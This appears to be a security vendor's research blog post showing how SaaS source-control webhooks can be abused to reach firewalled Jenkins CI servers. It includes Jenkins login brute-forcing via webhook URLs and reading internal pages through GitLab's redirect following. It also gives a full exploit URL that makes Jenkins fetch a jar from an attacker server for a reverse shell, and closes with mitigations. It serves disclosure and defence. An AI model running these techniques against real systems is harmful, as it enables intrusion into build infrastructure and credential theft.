LIVE WEBINAR: The Big AppSec Shift of 2023 with Michael Coates & Adrian Ludwig on 20th OCT 2022, at 12:00pm CST. Register here!

All blog posts

How we Abused Repository Webhooks to Access Internal CI Systems at Scale

As adoption of CI systems and processes becomes more prevalent, organizations opt for a CI/CD architecture which combines SaaS-based source control management systems (like GitHub or GitLab) with an internal, self-hosted CI solution (e.g. Jenkins, TeamCity). Many organizations using such architectures allow these CI systems to receive webhook events from the SaaS source control vendors, for the simple purpose of triggering pipeline jobs.

Huge thanks to Yaron Avital, Tyler Welton and Daniel Krivelevich for their contribution to this research.

Intro

As adoption of CI systems and processes becomes more prevalent, organizations opt for a CI/CD architecture which combines SaaS-based source control management systems (like GitHub or GitLab) with an internal, self-hosted CI solution (e.g. Jenkins, TeamCity). Many organizations using such architectures allow these CI systems to receive webhook events from the SaaS source control vendors, for the simple purpose of triggering pipeline jobs.

To allow the webhook requests to access the internally-hosted CI system, the SaaS-based SCM vendors provide IP ranges from which their webhooks requests arrive, so these ranges can be allowed in the organization’s firewall.

In this blog post, we’ll dive into the potential security pitfalls of this control, and explain why it provides organizations with a false sense of security.
We’ll showcase how anyone on the internet can overcome this IP restriction, access data and even execute code on internal CI systems, and how we did it at scale.

Why SCM webhooks are interesting for attackers

The IP range of the SaaS SCM webhook service which we mentioned earlier is shared between all organizations using the SCM. Any webhook event sent from the SCM, regardless of the tenant, will have a source IP in this range. From an attacker’s perspective, this creates an avenue that allows successfully sending packets through any firewall allowing this IP range, using webhook events. Let’s analyze the opportunities that an attacker may have when attempting to abuse webhook events to send malicious payloads:

The structure and contents of SCM webhook events are strict. Each event is sent as an HTTP POST request, with predefined headers, and a structured JSON in the body of request. Users have a very limited flexibility in modifying the content of the webhook event, as they can only set the URL of the event target, modify specific non-harmful headers, and control some of the JSON field values without changing its structure.

The limited flexibility of modifying the contents of the webhook event doesn’t provide too many opportunities for attackers; One known attack scenario is triggering CI pipelines from the internet, by sending a request from a foreign SCM organization. This type of attack can be easily mitigated, as the configuration of a pipeline is usually bound with a specific SCM repository and organization. If not, a secret can be attached to the webhook and verified when the pipeline executes.

Seeing that any adversary attempting to manipulate webhook events faces multiple limitations, including:

  • Minimal control around the content and structure of the event
  • Dedicated IP ranges used exclusively (or nearly exclusively) by the SCM webhook service (at least in GitHub & GitLab)
  • Protections in the pipeline systems around pipeline triggers

Most organizations feel comfortable allowing their internal CI systems to receive webhook events from the SaaS SCM providers. 

However, a skilled adversary can bypass these limitations. Let’s unravel how.

Accessing CI endpoints

As mentioned above, the first concern that comes to mind around abusing webhooks is a potential attempt by an attacker to trigger pipelines – a concern which also has multiple countermeasures provided by the SCM and CI vendors. But why should attackers limit themselves just to triggering pipelines (which most organizations aren’t vulnerable to anyway)?

While the IP range of the SCM vendor webhook service was opened in the organization’s firewall to allow webhook requests to trigger pipelines – this does not mean that webhook requests cannot be directed towards other CI endpoints, besides the ones that regularly listen to webhook events. We can try and access these endpoints to view valuable data like users, pipelines, console output of pipeline jobs, or if we’re lucky enough to fall on an instance that grants admin privileges to unauthenticated users (yes, it happens), we can access the configurations and credentials sections.

In Jenkins, the aforementioned endpoints can be accessed using the HTTP GET method to retrieve data, or POST to add or modify resources.
GET: That’s a problem for us, as webhooks only allow us to send POST requests. Bummer.
POST: We can send POST requests using webhooks, but we face two other challenges: 1. we can’t control the body of the request, and 2. by default, Jenkins requires adding a CSRF token to POST requests, which we don’t have.

So, are we stuck?
❌ No GET requests
❌ Can’t control body of POST request
❌ We don’t have CSRF tokens

Abusing Jenkins login

Though we face three blockers, let’s look for a way to go around them, starting with the login page. We can try and brute force user credentials, as it’s pretty common to see Jenkins users managed in its own user database, or using other user management methods that lack basic protections such as a password policy or protections against automations.

The login requires sending a POST request. Choosing to target the login endpoint solves the challenge of holding CSRF tokens, as this specific request doesn’t require it. But we still face the other challenge, as our abilities to modify the body of request remain limited.

A Jenkins login request looks as follows:

POST /j_acegi_security_check HTTP/1.1
Host: jenkins.example-domain.com
[...]

j_username=admin&j_password=mypass123&from=%2F&Submit=Sign+in

We need to send the credentials we brute force somehow.
Fortunately, the Jenkins login endpoint accepts a POST request with the fields sent as query parameters:

POST /j_acegi_security_check?j_username=admin&j_password=mypass123&from=%2F&Submit=Sign+in HTTP/1.1
Host: jenkins.example-domain.com
[...]

[webhook json in body of request]

So how can we get it to work? We can create a new webhook in GitHub, setting the Jenkins login request URL as the payload URL. We can then create an automation using the GitHub API to brute-force the user account’s password, by modifying the password field, triggering the webhook, and inspecting the response in the repository webhook event log.

http://jenkins.example-domain.com/j_acegi_security_check?j_username=admin&j_password=therealpassword&from=%2F&Submit=Sign+in

We fire the webhook, and see the results. All SCM vendors display the HTTP request and response sent through the webhook in their UI.
If the login attempt fails, we’re redirected to the login error page.

But if the login is successful, we’re redirected to the main Jenkins page, and a session cookie is set1.

So, we can brute-force Jenkins credentials and get a session cookie! 😀
However, we are a bit limited – we can only send one stateless request each time, and the cookie can’t be attached to our request, as we can’t control the headers.
But maybe there’s something more we can do?

Another option would be to try and obtain a Jenkins access token, which can be attached in the URL and used to send POST requests to Jenkins without the need of adding a CSRF token. This option is a bit more complex as it requires an attacker to somehow find both a self-hosted CI that is only accessible from SCM IP ranges and also obtain a valid access token to that CI. So for the time being – we’ll focus on more practical scenarios.

GitLab to the rescue

Let’s try sending the same request, but this time through GitLab. Like GitHub, we still have very limited control over the content of the payload sent in the webhook event, so we send the exact same POST request, adding the credentials as query parameters.

We trigger the request, but as opposed to GitHub – the response is 200. 🎯 As in the last example, we used GitLab’s webhook service to brute-force a user and obtain a session cookie, but this time – the content of the response from Jenkins were relayed back to the GitLab UI, essentially providing us with the full content of the Jenkins main page:

So what happened here? When a webhook sent from GitLab is responded with a 302 response code, GitLab automatically follows the redirection. Since 302 redirections are followed by GET requests, we’re able to leverage GitLab to bypass the aforementioned POST request limitation and send GET requests to targets from the GitLab webhook service, which we couldn’t do with GitHub. And the best part? The following event is sent with the cookies set in the first response. As you can see, the response we received contains internal Jenkins data, such as the pipelines and their execution status.

OK, 
It means we can:

  1. brute force users and discover valid credentials,
  2. use the valid credentials against the login page to login successfully,
  3. get the contents of the internal Jenkins main page.

Getting the internal Jenkins main page is cool. But we’ve put in so much work already – maybe we can go even further?Lucky us, like many other login mechanisms, Jenkins login accepts a redirection parameter – “from”. Originally used to redirect users to the page they aimed to reach after they login, but in our case – a feature we can abuse to send a GET request attached with a session cookie to an internal Jenkins page of our choice. Let’s see how:

  1. Set a webhook with the following URL:
http://jenkins.example-domain.com/j_acegi_security_check?j_username=admin&j_password=secretpass123&from=/job/prod_pipeline/1/consoleText&Submit=Sign+in

A POST request is sent to Jenkins, and the authentication succeeds.

  1. We get a 302 redirect response, with a session cookie, and a redirection to the job console output page.
  1. The GitLab webhook service automatically follows the redirection with a GET request sent to the job console output page, along with the session cookie which is added to the request:
http://jenkins.example-domain.com/job/prod_pipeline/1/consoleText
  1. Job console output is sent back and presented in the attacker’s GitLab webhook event log.

It’s important to mention here that Jenkins can be configured either to allow access to internal components without authentication, or in a way that enforces that only authenticated users can access the internal components. How does that affect us? 

  • If there’s no authentication configured, we can make the GitLab webhook service access any internal page in the CI, capture the response, and present it to us.
  • If authentication is configured, we can try and brute force a user, and then use the credentials to access any internal page (like in the bullet above).

Vulnerability exploitation

It’s not always possible to obtain an access token or password, or to be super-lucky with finding an instance allowing anonymous access. But it doesn’t mean we’re out of options.

A victim of its own popularity, Jenkins is constantly hunted by hackers for new vulnerabilities. The whole system is an ecosystem of plugins, each of them created by different maintainers, with one vulnerable plugin having the potential to affect the entire system.

Since Jenkins is used for sensitive operations – build, test, and deploy to production systems – patching and updating of vulnerable core & plugin versions are pushed down the backlog in many organizations. Like any software update, it can affect the stability of the system and in many cases requires making it unavailable while undergoing maintenance. So it’s common to see unpatched and out of date Jenkins plugins (or Jenkins core versions) in active production Jenkins installations. In addition, the fact that Jenkins is typically inside the perimeter creates a false sense of security, which prioritizes Jenkins security even lower in comparison to other security tasks.
But as we saw just now, sometimes organizations might think their instance is not exposed to the internet – while in reality it is. This begs the question – how far can an attacker go in harming Jenkins through a simple webhook request?

In 2019, Orange Tsai discovered a vulnerability in Jenkins that allowed executing code by sending one unauthenticated request. Without diving too much into the details of this attack, it triggers Jenkins to download a jar file from a remote location, leading to code execution on the instance.

What we’re about to do is to set up a malicious webhook to exploit a vulnerable Jenkins instance which is not exposed from the internet as it’s located behind a firewall, to establish a reverse shell on that instance.
The exploit payload is sent as a GET request and requires an attacker to do the following:

  1. Set a server that will:
    1. Receive a POST request with a redirection parameter, and respond with a 302 redirection
    2. Host the malicious jar file which is fetched by the Jenkins instance
    3. Listen to the traffic arriving from the reverse shell we’ll run on the Jenkins instance.
  2. Create a webhook in a GitLab project and set its URL as the attacker’s server, with the redirection parameter containing the payload:
http://attacker-server.com/redirect?redirect_url=http://jenkins.example-domain.com/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=%[email protected](disableChecksums=true)%0a%[email protected](name=%27cidersec%27,%20root=%27http://attacker-server.com/%27)%0a%[email protected](group=%27cidersec%27,%20module=%27poc1%27,%20version=%271%27)%0a%20import%20cidersec;
  1. Trigger the webhook to send an event.
  2. The webhook event arrives at the attacker’s server, which responds with a 302 redirection to the Jenkins instance along with the payload.
  3. The GitLab webhook follows the redirection with a GET request containing the payload that is sent to the Jenkins instance.
  4. The exploitation process starts: The Jenkins instance downloads the jar file from the attacker’s server, which runs a reverse shell on the instance, allowing the attacker to execute commands remotely.

Watch the video to see the full attack path:

Accessing internal Jenkins instances at scale

So now that we know that even internal Jenkins instances can be accessed from the internet through SCM webhooks, and that it is possible to gain full control over a Jenkins instance with a single webhook event – it’s time to see how many Jenkins instances are susceptible to this type of attack vector.

We scanned a small portion of the internet with the objective of discovering Jenkins instances which are not accessible from the public internet, but are accessible from the GitLab webhook service. We chose GitLab even though it’s not as common as other vendors (like GitHub) since as detailed above, it allows more flexibility to abuse an instance.
Our discovery process was as follows:

  1. Use passive DNS services to discover potential Jenkins subdomains. We used a set of 900,000 records. For obvious reasons, many of them were not valid – since they’re not real records or there’s no Jenkins (or any other service) behind them.
  2. We verified which of these addresses can be resolved, and filtered out inactive subdomains.
  3. We accessed all subdomains from a standard IP address through HTTP[S], and kept the ones which were not accessible.
  4. We sent a request to each of the 800,000 subdomains we have left through the GitLab webhooks service. It’s safe to assume that the vast majority of these subdomains were not Jenkins instances.

Out of this list, we found 115 Jenkins instances that were accessible through the GitLab webhook service. For obvious reasons, we didn’t attempt to perform any action against them, but all of the aforementioned techniques to extract information or execute code are potentially valid for those instances.

We assume it’s possible to identify at least hundreds of additional Jenkins instances through the GitLab webhook service, and much more through more popular vendors. And that’s only Jenkins – there are plenty of other self-hosted CI vendors and other types of systems that are accessible from these webhook services (like artifact registries), and can potentially be accessed and abused.

Protecting your environment

Hardening your environment against malicious webhooks can be done in different methods and in various layers, and the solution can be adjusted to the organization’s needs.
A hermetic solution can be to deny inbound traffic from the SCM webhooks IP range, and stop receiving webhook events directly from the SCM. It could be replaced by periodically polling changes by the CI or by implementing a proxy between the SCM and CI. However, both of these methods could be expensive to set up and to not meet the engineering needs.

If you wish to keep receiving webhooks directly from the SCM:

  • Only allow the inbound traffic to reach the CI and not any additional internal service, and if possible – only allow it to reach specific endpoints of the CI.
  • Implement a secure authentication mechanism in the CI which provides security controls that meet the industry best practices, such as integrating with the organization’s SSO solution.
  • Update your CI system and its installed plugins to the latest available version.
  • Disable anonymous access in the CI.
  • Ensure an audit log in the target system is enabled, and that all relevant logs are sent to your SIEM or alternative logging aggregation solution to identify malicious actions.

Summary

CI systems are some of the most critical and sensitive assets in the organization given the data that they store and the workloads that they run. Given this, Organizations take multiple measures to protect and limit access to self-hosted CI systems, with the IP restriction of the SaaS SCM vendors’ webhook services being one of these measures. However, as we demonstrated in this blog, this measure creates a false sense of security as any internet originating attacker can leverage SCM webhook infrastructure to send traffic towards internal CI systems and conduct malicious activities which range from obtaining valid CI credentials to running exploits and fully compromising the CI. Multiple controls which can limit and in some cases mitigate this threat exist, and we hope this blog is helpful in shedding light on both the potential risk as well as the relevant countermeasures.


1 In Jenkins version 2.266 the Acegi security library used for authentication was replaced by Spring Security. The Spring library provides indication on successful login attempts when logging in by sending a POST request with the credentials attached as query parameters, however it doesn’t return the session cookie. According to Jenkins statistics, around 30% of all instances use prior versions to 2.266.

TOP 10

CI/CD SEC RISKS

Learn More